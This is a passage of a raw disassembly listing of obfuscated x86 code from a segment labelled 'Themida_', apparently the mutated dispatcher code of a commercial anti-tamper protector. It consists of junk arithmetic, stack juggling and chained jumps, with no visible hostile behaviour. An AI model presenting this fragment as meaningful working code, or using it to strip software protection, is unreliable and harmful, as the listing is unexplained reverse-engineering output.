5FE45432h dec ebx and ebx, 5B3531BBh sub ebx, 0DA2CFECEh add ebp, ebx pop ebx sub ebp, 1EAF7302h jmp loc_56236C ; --------------------------------------------------------------------------- loc_561250: ; CODE XREF: Themida_:005649B0j add esp, 4 push eax mov eax, 4 sub esp, 4 mov [esp], ecx mov ecx, 20AD2150h sub edi, ecx pop ecx add edi, 2F204893h add edi, eax sub edi, 2F204893h add edi, 20AD2150h mov eax, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push ebx jmp loc_56EEAD ; --------------------------------------------------------------------------- loc_561290: ; CODE XREF: Themida_:0057012Aj mov ecx, [esp] add esp, 4 sub ebx, eax push esi mov esi, 49373CC7h sub ebx, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push ecx push esp pop ecx jmp loc_5623D0 ; --------------------------------------------------------------------------- loc_5612B7: ; CODE XREF: Themida_:005664FAj pop esi add edi, ecx sub edi, 46CE313Dh push eax jmp loc_55DABF ; --------------------------------------------------------------------------- loc_5612C6: ; CODE XREF: Themida_:0056D33Ej mov esp, [esp] sub [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5612D3: ; CODE XREF: Themida_:0056051Ej sub edi, 9717AB3h jmp loc_5635B0 ; --------------------------------------------------------------------------- loc_5612DE: ; CODE XREF: Themida_:00561AF6j push ecx mov ecx, 1C9677FAh sub eax, 36716A3Fh push edi mov edi, 6AA36795h add eax, 4DCB657Ch sub eax, edi sub eax, 4DCB657Ch pop edi jmp loc_5678C7 ; --------------------------------------------------------------------------- loc_561301: ; CODE XREF: Themida_:0056C62Cj push dword ptr [esp] pop ecx add esp, 4 sub esp, 2 jmp loc_560682 ; --------------------------------------------------------------------------- mov ax, [esp] push 688Eh mov [esp], ecx mov ecx, esp push esi sub esp, 4 mov [esp], edi jmp loc_562141 ; --------------------------------------------------------------------------- loc_561330: ; CODE XREF: Themida_:0056FED2j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561335: ; CODE XREF: Themida_:0056D737j add ebx, 3E5229A7h mov edi, [esp] push edx jmp loc_56857F ; --------------------------------------------------------------------------- loc_561344: ; CODE XREF: Themida_:0056999Dj push esp mov ebx, [esp] push ebp mov ebp, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_56B87A ; --------------------------------------------------------------------------- loc_56135E: ; CODE XREF: Themida_:00565E7Aj add eax, 4 xchg eax, [esp] pop esp push edx push 77E92853h pop edx sub edx, 76C11D04h shr edx, 3 push eax mov eax, 0A8660B5h xor edx, eax jmp loc_5616EF ; --------------------------------------------------------------------------- loc_561382: ; CODE XREF: Themida_:0056332Ej push cx pushf jmp loc_562A30 ; --------------------------------------------------------------------------- loc_56138A: ; CODE XREF: Themida_:0056A001j add bl, al add bl, 0Fh jmp loc_57174F ; --------------------------------------------------------------------------- loc_561394: ; CODE XREF: Themida_:0057179Dj add ebx, esi pop esi add ebx, edx push ebp push edx jmp loc_56982C ; --------------------------------------------------------------------------- loc_5613A0: ; CODE XREF: Themida_:00569977j push 136Ah mov [esp], ebp mov ebp, 2E8E7E0Dh push esi mov esi, 40ED3F82h and ebp, esi pop esi neg ebp or ebp, 7B0A5FD0h jmp loc_571BE7 ; --------------------------------------------------------------------------- loc_5613C3: ; CODE XREF: Themida_:00570077j mov ecx, 4A043DE2h or ecx, 32D13B69h xor ecx, 65EB2BFFh push 3B54h mov [esp], ebp mov ebp, 665345Ah push eax mov eax, 0C9A92640h sub ebp, eax jmp loc_566EBE ; --------------------------------------------------------------------------- loc_5613EE: ; CODE XREF: Themida_:00562B0Dj add ecx, 506417ECh add ecx, 15466F3Fh xor ecx, 0AF27C218h xor ebx, ecx jmp loc_570EE3 ; --------------------------------------------------------------------------- loc_561407: ; CODE XREF: Themida_:005643F9j sub edx, 26A643CFh jmp loc_565115 ; --------------------------------------------------------------------------- loc_561412: ; CODE XREF: Themida_:00567816j push edx mov dl, 32h add bl, dl mov edx, [esp] jmp loc_562594 ; --------------------------------------------------------------------------- loc_56141F: ; CODE XREF: Themida_:0056670Aj push eax mov eax, 184579E6h xor edi, eax mov eax, [esp] add esp, 4 add eax, 5B070143h jmp loc_565924 ; --------------------------------------------------------------------------- loc_561437: ; CODE XREF: Themida_:0055ED60j add eax, 4 xchg eax, [esp] mov esp, [esp] sub ebx, 6CBA0BC8h add ebx, 2CBA7170h add ebx, ebp jmp loc_56D763 ; --------------------------------------------------------------------------- loc_561453: ; CODE XREF: Themida_:0056064Ej add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 6165h mov [esp], esi sub esp, 4 jmp loc_572099 ; --------------------------------------------------------------------------- loc_561470: ; CODE XREF: Themida_:0056E5C6j push 2B34h mov [esp], ebp push edi mov edi, 6EFA19DCh mov ebp, 2CC01F86h xor ebp, edi jmp loc_56AB23 ; --------------------------------------------------------------------------- loc_56148A: ; CODE XREF: Themida_:0056F1B7j mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561492: ; CODE XREF: Themida_:00568DE7j add esi, ebx pop ebx jmp loc_56B12A ; --------------------------------------------------------------------------- loc_56149A: ; CODE XREF: Themida_:0056A16Cj pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_56EC36 ; --------------------------------------------------------------------------- loc_5614B5: ; CODE XREF: Themida_:0056BA4Ej pop esi jmp loc_565317 ; --------------------------------------------------------------------------- loc_5614BB: ; CODE XREF: Themida_:0056C072j mov ecx, 2EDA4335h mov ebp, ecx pop ecx jmp loc_564DD2 ; --------------------------------------------------------------------------- loc_5614C8: ; CODE XREF: Themida_:00568A79j sub ebx, 4E64042Ch dec ebx sub ebx, 38E19434h add ebp, ebx pop ebx and eax, ebp jmp loc_5718F0 ; --------------------------------------------------------------------------- loc_5614DF: ; CODE XREF: Themida_:00563862j push 7D2Bh jmp loc_56D80F ; --------------------------------------------------------------------------- loc_5614E9: ; CODE XREF: Themida_:0056BC81j mov ebx, 4 add ebp, 7ECB2F7Dh add ebp, ebx sub ebp, 7ECB2F7Dh pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_560778 ; --------------------------------------------------------------------------- loc_561511: ; CODE XREF: Themida_:00562481j add esp, 4 mov eax, [esp] push ebx jmp loc_570114 ; --------------------------------------------------------------------------- loc_561520: ; CODE XREF: Themida_:0057031Dj add ecx, 4 jmp loc_562A35 ; --------------------------------------------------------------------------- loc_56152B: ; CODE XREF: Themida_:0056938Fj mov [esp], eax push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 push eax sub esp, 4 mov [esp], ebp push 75A50D64h pop ebp mov eax, ebp pop ebp and eax, 44306687h sub eax, 44200400h jmp loc_56B825 ; --------------------------------------------------------------------------- loc_561562: ; CODE XREF: Themida_:005709E1j push 0AF6h mov [esp], ebx mov ebx, esp push edi mov edi, 7CD43B6Ah jmp loc_571F01 ; --------------------------------------------------------------------------- loc_561577: ; CODE XREF: Themida_:0056699Fj mov ebp, [esp] jmp loc_56F5C4 ; --------------------------------------------------------------------------- loc_56157F: ; CODE XREF: Themida_:0055F57Fj add ecx, 93FD9714h jmp loc_56788E ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561592: ; CODE XREF: Themida_:0055F0B4j add al, 2Dh sub al, ch sub al, 2Dh push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push 6238h mov [esp], ebx push 3ABAh jmp loc_56FC37 ; --------------------------------------------------------------------------- loc_5615BC: ; CODE XREF: Themida_:00567BA8j sub esp, 4 mov [esp], eax mov al, 18h jmp loc_5667C0 ; --------------------------------------------------------------------------- loc_5615CC: ; CODE XREF: Themida_:0056B1C5j pop edx jmp loc_56639C ; --------------------------------------------------------------------------- loc_5615D2: ; CODE XREF: Themida_:005716EDj add ebx, 3587092Bh sub ebx, eax sub ebx, 3587092Bh push dword ptr [esp] pop eax add esp, 4 sub esi, 178340B3h jmp loc_56BB0A ; --------------------------------------------------------------------------- loc_5615F5: ; CODE XREF: Themida_:0056B89Bj mov edx, 3B5034C9h xchg eax, edx not eax xor edx, eax xor eax, edx xor edx, eax push edi jmp loc_570E3C ; --------------------------------------------------------------------------- loc_561609: ; CODE XREF: Themida_:005703C5j sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_562038 ; --------------------------------------------------------------------------- loc_56161A: ; CODE XREF: Themida_:00565BC4j mov [esp], esi mov esi, esp push ecx jmp loc_56D8A5 ; --------------------------------------------------------------------------- loc_561625: ; CODE XREF: Themida_:0056A560j mov ebx, 4 add ecx, 3C57CD1h add ecx, ebx push esi mov esi, 3C57CD1h sub ecx, esi jmp loc_56CC2B ; --------------------------------------------------------------------------- loc_56163F: ; CODE XREF: Themida_:0056C455j push dword ptr [esp+4] jmp loc_5621EC ; --------------------------------------------------------------------------- loc_561648: ; CODE XREF: Themida_:005641F8j sub al, bh jmp loc_571BAF ; --------------------------------------------------------------------------- loc_56164F: ; CODE XREF: Themida_:0057048Aj shl ecx, 3 sub ecx, 0AE0FC83Ch mov ebp, ecx pop ecx and ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 2 push ebx xor dword ptr [esp], 76C28F3h push dword ptr [esp] pop eax push ebp jmp loc_569B72 ; --------------------------------------------------------------------------- loc_56167B: ; CODE XREF: Themida_:005650B8j add ebp, 14D05F96h jmp loc_56C9CC ; --------------------------------------------------------------------------- loc_561686: ; CODE XREF: Themida_:00560301j push dword ptr [esp+4] jmp loc_563FFA ; --------------------------------------------------------------------------- loc_56168F: ; CODE XREF: Themida_:00562682j mov esi, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_571799 ; --------------------------------------------------------------------------- loc_5616A5: ; CODE XREF: Themida_:0056D061j add esi, 7A425CFBh jmp loc_5696E5 ; --------------------------------------------------------------------------- loc_5616B0: ; CODE XREF: Themida_:0056FAFFj pop ebx xchg ebp, [esp] mov esp, [esp] or [edi+1Ch], edx pop edx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5616C0: ; CODE XREF: Themida_:00569FF9j pop edi push ebp mov ebp, 6A655738h jmp loc_55FB3B ; --------------------------------------------------------------------------- loc_5616CC: ; CODE XREF: Themida_:0057228Ej shr dl, 4 shr dl, 4 jmp loc_56173A ; --------------------------------------------------------------------------- loc_5616D7: ; CODE XREF: Themida_:00568854j mov [esp], edi jmp loc_569197 ; --------------------------------------------------------------------------- loc_5616DF: ; CODE XREF: Themida_:005705BDj add eax, ecx push ebx jmp loc_56FB8F ; --------------------------------------------------------------------------- loc_5616E7: ; CODE XREF: Themida_:005648CFj pop esp neg ebp jmp loc_56B7A4 ; --------------------------------------------------------------------------- loc_5616EF: ; CODE XREF: Themida_:0056137Dj pop eax jmp loc_567317 ; --------------------------------------------------------------------------- loc_5616F5: ; CODE XREF: Themida_:0056D8C0j pop ebx jmp loc_563B4E ; --------------------------------------------------------------------------- loc_5616FB: ; CODE XREF: Themida_:00568040j mov cl, 9Bh sub cl, 0FFh push ebx mov bh, 60h xor cl, bh jmp loc_560106 ; --------------------------------------------------------------------------- loc_56170A: ; CODE XREF: Themida_:00562AAFj sub eax, esi pop esi shr eax, 3 or eax, 2F584BDAh neg eax push 5750h jmp loc_5726E0 ; --------------------------------------------------------------------------- loc_561721: ; CODE XREF: Themida_:00565762j push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_55E5C6 ; --------------------------------------------------------------------------- loc_56173A: ; CODE XREF: Themida_:005616D2j sub dl, 0B2h not dl push edi mov edi, esp add edi, 4 sub edi, 2 xchg edi, [esp] jmp loc_564A87 ; --------------------------------------------------------------------------- loc_561753: ; CODE XREF: Themida_:0055E9A4j mov [esp], edi jmp loc_56BB03 ; --------------------------------------------------------------------------- loc_56175B: ; CODE XREF: Themida_:00560EACj pop ebp push dword ptr [esp] jmp loc_56A0F6 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], edi jmp loc_55ED12 ; --------------------------------------------------------------------------- loc_561773: ; CODE XREF: Themida_:00570C6Fj mov [esp], esi push esp jmp loc_55ED36 ; --------------------------------------------------------------------------- loc_56177C: ; CODE XREF: Themida_:0056AA32j shl bh, 8 xor bh, 0B5h shr bh, 1 add bh, 6Ah add al, bh jmp loc_56DEE3 ; --------------------------------------------------------------------------- loc_56178E: ; CODE XREF: Themida_:0056259Cj sub esp, 4 mov [esp], eax push ebx push ecx mov cl, 0CFh mov bh, cl pop ecx mov al, bh jmp loc_56347E ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push 5E3Ah mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push esi mov esi, 6DBE2D64h shr esi, 3 sub esi, 0DB7C5A8h add ebx, esi pop esi push esi push ecx jmp loc_56C3F2 ; --------------------------------------------------------------------------- loc_5617D5: ; CODE XREF: Themida_:0056DF49j add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_56597A ; --------------------------------------------------------------------------- loc_5617E6: ; CODE XREF: Themida_:0056B6DFj pop ecx xor dl, bl pop ebx and dl, 0FDh push cx mov cl, 0A5h jmp loc_5715EA ; --------------------------------------------------------------------------- loc_5617F6: ; CODE XREF: Themida_:0056E1E4j mov eax, ebp pop ebp push eax add dword ptr [esp], 495D6B9Eh pop ebx jmp loc_56339D ; --------------------------------------------------------------------------- loc_561807: ; CODE XREF: Themida_:00570890j pop eax jmp loc_55F830 ; --------------------------------------------------------------------------- loc_56180D: ; CODE XREF: Themida_:00565E23j add eax, 2 xchg eax, [esp] pop esp push ebx jmp loc_568DEC ; --------------------------------------------------------------------------- loc_56181C: ; CODE XREF: Themida_:00566BD3j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 3BCB0423h mov edi, [esp] push edx jmp loc_562305 ; --------------------------------------------------------------------------- loc_56183B: ; CODE XREF: Themida_:005623D1j mov ebx, 338F7499h shr ebx, 4 xor ebx, 68BF134Ah xor ebx, 63235680h inc ebx xor ebx, 8A4B280h jmp loc_56229B ; --------------------------------------------------------------------------- loc_56185B: ; CODE XREF: Themida_:0055DE0Cj xor ecx, 1704BBF7h add ebp, ecx pop ecx sub esp, 4 mov [esp], esi mov esi, 2 add ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp jmp loc_56E5DB ; --------------------------------------------------------------------------- loc_561880: ; CODE XREF: Themida_:0056117Fj mov edx, esp add edx, 4 jmp loc_55EDEA ; --------------------------------------------------------------------------- loc_56188D: ; CODE XREF: Themida_:00569697j mov [esp], eax push dword ptr [esp+4] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5724C4 ; --------------------------------------------------------------------------- loc_5618AB: ; CODE XREF: Themida_:0056EFCCj push ecx jmp loc_56C8C4 ; --------------------------------------------------------------------------- loc_5618B1: ; CODE XREF: Themida_:005684DBj not eax dec eax xchg eax, ebp not ebp xchg eax, ebp jmp loc_56580E ; --------------------------------------------------------------------------- loc_5618BD: ; CODE XREF: Themida_:0056591Fj mov ecx, [esp] add esp, 4 jmp loc_56281A ; --------------------------------------------------------------------------- loc_5618CB: ; CODE XREF: Themida_:0056CEB1j sub ebp, 491A2236h jmp loc_5715F4 ; --------------------------------------------------------------------------- loc_5618D6: ; CODE XREF: Themida_:00565F3Aj xor ebx, 299D7D09h inc ebx jmp loc_56C5BE ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_56920E ; --------------------------------------------------------------------------- loc_5618FF: ; CODE XREF: Themida_:0055F6BCj mov esi, [esp] add esp, 4 pop ebx not ecx shr ecx, 8 sub ecx, 9D86BBh jmp loc_56B616 ; --------------------------------------------------------------------------- loc_561919: ; CODE XREF: Themida_:00565022j mov ebp, 266A7D17h dec ebp xor ebp, 3ED47F42h or ebp, 11E259E6h push eax mov eax, 2BE60B13h or ebp, eax pop eax not ebp inc ebp jmp loc_572482 ; --------------------------------------------------------------------------- loc_56193C: ; CODE XREF: Themida_:00571665j mov edi, 3EA45AECh mov ebx, 99A3DBAh xor ebx, edi jmp loc_5693A1 ; --------------------------------------------------------------------------- loc_56194D: ; CODE XREF: Themida_:0055EEB4j pop edx push esi mov esi, 35AF667Fh push ebx jmp loc_565131 ; --------------------------------------------------------------------------- loc_56195A: ; CODE XREF: Themida_:0055E640j sub al, 0B7h jmp loc_570934 ; --------------------------------------------------------------------------- loc_561961: ; CODE XREF: Themida_:0056812Dj push ebp mov ebp, 0E0916C83h jmp loc_560404 ; --------------------------------------------------------------------------- loc_56196C: ; CODE XREF: Themida_:0056B4F6j push 4 pop ebp sub dword ptr [esp+4], 373601C4h jmp loc_56B576 ; --------------------------------------------------------------------------- loc_56197F: ; CODE XREF: Themida_:00566AE4j shr esi, 1 jmp loc_56271F ; --------------------------------------------------------------------------- loc_561986: ; CODE XREF: Themida_:00563061j neg edx jmp loc_55E0DD ; --------------------------------------------------------------------------- loc_56198D: ; CODE XREF: Themida_:0056D2A4j sub esp, 4 mov [esp], eax push 24CAh mov [esp], edi push 379E6690h pop edi and edi, 28E33958h jmp loc_561EAA ; --------------------------------------------------------------------------- loc_5619AC: ; CODE XREF: Themida_:0056E32Dj mov esp, [esp] mov [esp], eax push 6970216h jmp loc_571554 ; --------------------------------------------------------------------------- loc_5619BC: ; CODE XREF: Themida_:005629F0j push dword ptr [esp] pop esi jmp loc_56F3CA ; --------------------------------------------------------------------------- loc_5619C5: ; CODE XREF: Themida_:0056D28Fj push 22A6h mov [esp], ebx sub esp, 4 mov [esp], ecx push 56E1h mov [esp], eax mov eax, 58774036h mov ecx, eax pop eax not ecx push 0C20h jmp loc_56117C ; --------------------------------------------------------------------------- loc_5619F2: ; CODE XREF: Themida_:005713F2j sub dl, cl pop ecx push ebx jmp loc_56E9E7 ; --------------------------------------------------------------------------- loc_5619FB: ; CODE XREF: Themida_:0056CAF0j dec esi or esi, 29D43516h sub esi, 63CF0B51h and esi, 61D51FE7h add esi, 4FDAF58h sub ebx, 37FC3DC6h add ebx, 76744661h jmp loc_567ABF ; --------------------------------------------------------------------------- loc_561A25: ; CODE XREF: Themida_:0056E4F5j xor edx, 18A50845h jmp loc_570322 ; --------------------------------------------------------------------------- loc_561A30: ; CODE XREF: Themida_:0056DF9Ej pop ecx pop ebx pop eax mov ecx, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- jmp loc_5620CA ; --------------------------------------------------------------------------- loc_561A49: ; CODE XREF: Themida_:0055FF44j neg ecx jmp loc_5643A3 ; --------------------------------------------------------------------------- loc_561A50: ; CODE XREF: Themida_:00565418j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_560E27 ; --------------------------------------------------------------------------- loc_561A65: ; CODE XREF: Themida_:0056BEDFj xor ch, 95h sub ch, 0F5h sub bh, ch pop ecx sub bh, 0Eh push eax mov al, 5 not al inc al xor al, 1Ah and al, 10h neg al jmp loc_56C3DD ; --------------------------------------------------------------------------- loc_561A83: ; CODE XREF: Themida_:00563537j xor [esp], ebp xor ebp, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 73367A7Ch dec ebp shl ebp, 2 shl ebp, 3 xor ebp, 7CA24DC4h add ebp, 35C71A99h push eax mov eax, 3D007266h xor eax, 38F30C74h jmp loc_5694DD ; --------------------------------------------------------------------------- loc_561AB8: ; CODE XREF: Themida_:005680CCj sub bl, 0E9h pop eax movzx eax, al pop small word ptr [edi+eax*4] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561AC8: ; CODE XREF: Themida_:0055FEDEj pop ebx shr eax, 0Eh xor eax, ecx push eax push 5AAEh mov [esp], esi push dword ptr [esp] jmp loc_55DEEA ; --------------------------------------------------------------------------- loc_561ADF: ; CODE XREF: Themida_:0055E965j mov [esp], ecx mov cl, 0BCh mov bl, 0C4h add bl, cl push dword ptr [esp] jmp loc_5716A9 ; --------------------------------------------------------------------------- lodsd sub eax, 0A786754h jmp loc_5612DE ; --------------------------------------------------------------------------- loc_561AFB: ; CODE XREF: Themida_:00570E27j xchg ebx, [esp] pop esp sub edi, 2D076786h push 0 sub [esp], edi pop edi dec edi jmp loc_56BABA ; --------------------------------------------------------------------------- loc_561B14: ; CODE XREF: Themida_:00569DA0j xor ebp, 2386468Eh add ebp, 6B44C5AAh sub edx, ebp pop ebp add edx, esi add edx, 44F132FBh jmp loc_567998 ; --------------------------------------------------------------------------- loc_561B30: ; CODE XREF: Themida_:005698EEj push ebp not dword ptr [esp] pop ebp push ebx mov ebx, 198E180Eh neg ebx jmp loc_55DA31 ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Themida_:0056ADC2j add edi, 4 xchg edi, [esp] mov esp, [esp] dec dword ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561B54: ; CODE XREF: Themida_:0057239Dj add eax, edx pop edx add eax, edi jmp loc_56DCC4 ; --------------------------------------------------------------------------- loc_561B5E: ; CODE XREF: Themida_:0056F2FAj mov [esp], eax push edi jmp loc_5649FC ; --------------------------------------------------------------------------- loc_561B67: ; CODE XREF: Themida_:0056EB93j pop edi neg edx shr edx, 4 and edx, 7424795Eh push ebp mov ebp, 274A5A61h xor ebp, 281401B5h jmp loc_57203D ; --------------------------------------------------------------------------- loc_561B84: ; CODE XREF: Themida_:0056F273j pop ecx pop eax jmp loc_560172 ; --------------------------------------------------------------------------- loc_561B8B: ; CODE XREF: Themida_:00571DBFj push esi jmp loc_560D65 ; --------------------------------------------------------------------------- loc_561B91: ; CODE XREF: Themida_:00565AD3j mov edi, 3E8A0C83h push edi jmp loc_5636C3 ; --------------------------------------------------------------------------- loc_561B9C: ; CODE XREF: Themida_:0055DDF3j sub esp, 4 mov [esp], edi mov edi, 4 sub ebx, 2CEB756Dh add ebx, edi add ebx, 2CEB756Dh pop edi jmp loc_56B1D2 ; --------------------------------------------------------------------------- loc_561BBB: ; CODE XREF: Themida_:0056FB7Aj mov ebx, edx pop edx xor ebx, 6A10E05h sub ebx, 2C9A128Dh xor edi, ebx pop ebx jmp loc_5661D9 ; --------------------------------------------------------------------------- loc_561BD2: ; CODE XREF: Themida_:0056FE50j or eax, 1AD59EEh or eax, 3DBB00D0h add eax, 7B6742C6h neg eax xor eax, 3A723FC1h jmp loc_56DE57 ; --------------------------------------------------------------------------- loc_561BED: ; CODE XREF: Themida_:00561F09j sub esp, 4 mov [esp], ebx push ecx mov ecx, 35DD19B1h push esi jmp loc_560426 ; --------------------------------------------------------------------------- loc_561BFF: ; CODE XREF: Themida_:005630E1j push esi push esp push dword ptr [esp] pop esi add esp, 4 push ebp mov ebp, esp jmp loc_5650FD ; --------------------------------------------------------------------------- lodsb xor al, bl push edx push ebx sub esp, 4 mov [esp], ecx jmp loc_565FD8 ; --------------------------------------------------------------------------- loc_561C23: ; CODE XREF: Themida_:00568E75j dec byte ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561C2C: ; CODE XREF: Themida_:0056E358j push ebp mov ebp, 6B2D0690h and ebp, 68F14985h shl ebp, 1 xor ebp, 0D0420104h jmp loc_562D71 ; --------------------------------------------------------------------------- loc_561C45: ; CODE XREF: Themida_:00569F8Aj push eax mov eax, 2 jmp loc_56DD97 ; --------------------------------------------------------------------------- loc_561C50: ; CODE XREF: Themida_:0056661Aj sub eax, edi jmp loc_56DEF6 ; --------------------------------------------------------------------------- loc_561C57: ; CODE XREF: Themida_:0056635Ej mov ebp, 4A38307Ch xor ecx, ebp jmp loc_56D86A ; --------------------------------------------------------------------------- loc_561C63: ; CODE XREF: Themida_:00561E4Aj push ebp push esp mov ebp, [esp] add esp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_562A8A ; --------------------------------------------------------------------------- loc_561C7F: ; CODE XREF: Themida_:00560D78j sub ebx, 5831B45h pop esi add ebx, eax jmp loc_562E05 ; --------------------------------------------------------------------------- loc_561C8D: ; CODE XREF: Themida_:00569657j add dh, 0F9h sub al, 0A3h add al, 4 add al, 0F4h add al, dh sub al, 0F4h sub al, 4 push edx jmp loc_55DD59 ; --------------------------------------------------------------------------- loc_561CA2: ; CODE XREF: Themida_:005714BCj push edi mov edi, 31A36F6Bh sub edi, 1 xor edi, 3BCA5B33h sub edi, 78D24636h jmp loc_55E019 ; --------------------------------------------------------------------------- loc_561CBF: ; CODE XREF: Themida_:0056A385j push edx push edi mov edi, 4 mov edx, edi jmp loc_56F04A ; --------------------------------------------------------------------------- loc_561CCD: ; CODE XREF: Themida_:0055E541j add esp, 4 shl edi, 7 sub edi, 60E145D6h jmp loc_56B07C ; --------------------------------------------------------------------------- loc_561CE1: ; CODE XREF: Themida_:0056409Fj add ecx, eax jmp loc_55E0AD ; --------------------------------------------------------------------------- loc_561CE8: ; CODE XREF: Themida_:0056099Cj push ecx jmp loc_569BD1 ; --------------------------------------------------------------------------- loc_561CEE: ; CODE XREF: Themida_:005714E9j push edi jmp loc_55EE64 ; --------------------------------------------------------------------------- loc_561CF4: ; CODE XREF: Themida_:005654F2j pop ecx neg ebx shr ebx, 7 dec ebx push eax jmp loc_56B570 ; --------------------------------------------------------------------------- loc_561D01: ; CODE XREF: Themida_:005636ADj add eax, ebp pop ebp pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5621F8 ; --------------------------------------------------------------------------- loc_561D13: ; CODE XREF: Themida_:00571457j mov esi, 4 add eax, esi jmp loc_55F870 ; --------------------------------------------------------------------------- loc_561D1F: ; CODE XREF: Themida_:00563043j add edi, 0F1230C7h push ebx jmp loc_55E40D ; --------------------------------------------------------------------------- loc_561D2B: ; CODE XREF: Themida_:00566535j mov ecx, 4 jmp loc_56F6F4 ; --------------------------------------------------------------------------- loc_561D35: ; CODE XREF: Themida_:005636B7j sub esp, 4 mov [esp], edx mov edx, esi mov eax, edx pop edx mov ebx, eax mov eax, [esp] jmp loc_571116 ; --------------------------------------------------------------------------- loc_561D4D: ; CODE XREF: Themida_:00562AC4j sub esi, 7D1C609Dh sub esi, 0FFFFFFFFh jmp loc_564324 ; --------------------------------------------------------------------------- loc_561D5E: ; CODE XREF: Themida_:0056A7E6j mov esi, 43FA24C3h jmp loc_5630A4 ; --------------------------------------------------------------------------- loc_561D68: ; CODE XREF: Themida_:0056F9C1j sub edx, ebx pop ebx xor edx, [esp] jmp loc_56CFF2 ; --------------------------------------------------------------------------- loc_561D73: ; CODE XREF: Themida_:0055E880j pop ebp push dword ptr [esp] mov ecx, [esp] jmp loc_55F3E2 ; --------------------------------------------------------------------------- loc_561D7F: ; CODE XREF: Themida_:0055D9F5j add edi, 64B48D3Fh sub ebx, edi pop edi push ebp jmp loc_56CC21 ; --------------------------------------------------------------------------- loc_561D8E: ; CODE XREF: Themida_:0056B292j mov ebx, 6C42756Fh jmp loc_56EAA8 ; --------------------------------------------------------------------------- loc_561D98: ; CODE XREF: Themida_:0056F2E9j add ebx, ecx pop ecx add ebx, 2 jmp loc_561E3A ; --------------------------------------------------------------------------- loc_561DA6: ; CODE XREF: Themida_:0056D391j add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561DB1: ; CODE XREF: Themida_:00560B10j push edx jmp loc_560CA6 ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 0A6E7D1Dh push ebp mov ebp, 4BFF4497h push ebx mov ebx, 431457FEh add eax, ebx mov ebx, [esp] jmp loc_571B10 ; --------------------------------------------------------------------------- loc_561DD4: ; CODE XREF: Themida_:005718B5j sub esi, eax jmp loc_569351 ; --------------------------------------------------------------------------- loc_561DDB: ; CODE XREF: Themida_:0055F175j pop esp rol word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561DE6: ; CODE XREF: Themida_:00570EA6j mov [esp], edi push 3B42h mov [esp], eax mov eax, 4 push eax jmp loc_56EB00 ; --------------------------------------------------------------------------- loc_561DFC: ; CODE XREF: Themida_:00564F99j push 4096h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_566944 ; --------------------------------------------------------------------------- loc_561E17: ; CODE XREF: Themida_:0056A7A8j add dword ptr [esp+4], 0ECC4A09h add [esp+4], esi sub dword ptr [esp+4], 0ECC4A09h pop esi push edi jmp loc_55ECB4 ; --------------------------------------------------------------------------- loc_561E32: ; CODE XREF: Themida_:00570830j mov [esp], edi jmp loc_56F1C8 ; --------------------------------------------------------------------------- loc_561E3A: ; CODE XREF: Themida_:00561DA1j push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5600BF ; --------------------------------------------------------------------------- loc_561E47: ; CODE XREF: Themida_:0056E27Aj mov ebx, [esp] jmp loc_561C63 ; --------------------------------------------------------------------------- loc_561E4F: ; CODE XREF: Themida_:00564A56j sub eax, 63665D9Bh add eax, ebp add eax, 63665D9Bh jmp loc_564AA0 ; --------------------------------------------------------------------------- loc_561E60: ; CODE XREF: Themida_:005604B1j add edx, ecx pop ecx add edx, 4 jmp loc_55E481 ; --------------------------------------------------------------------------- loc_561E6B: ; CODE XREF: Themida_:0056664Bj xchg ecx, [esp] pop esp xor edx, eax mov eax, [esp] add esp, 4 jmp loc_563506 ; --------------------------------------------------------------------------- loc_561E7C: ; CODE XREF: Themida_:00569B54j push dword ptr [esp] jmp loc_55F0D5 ; 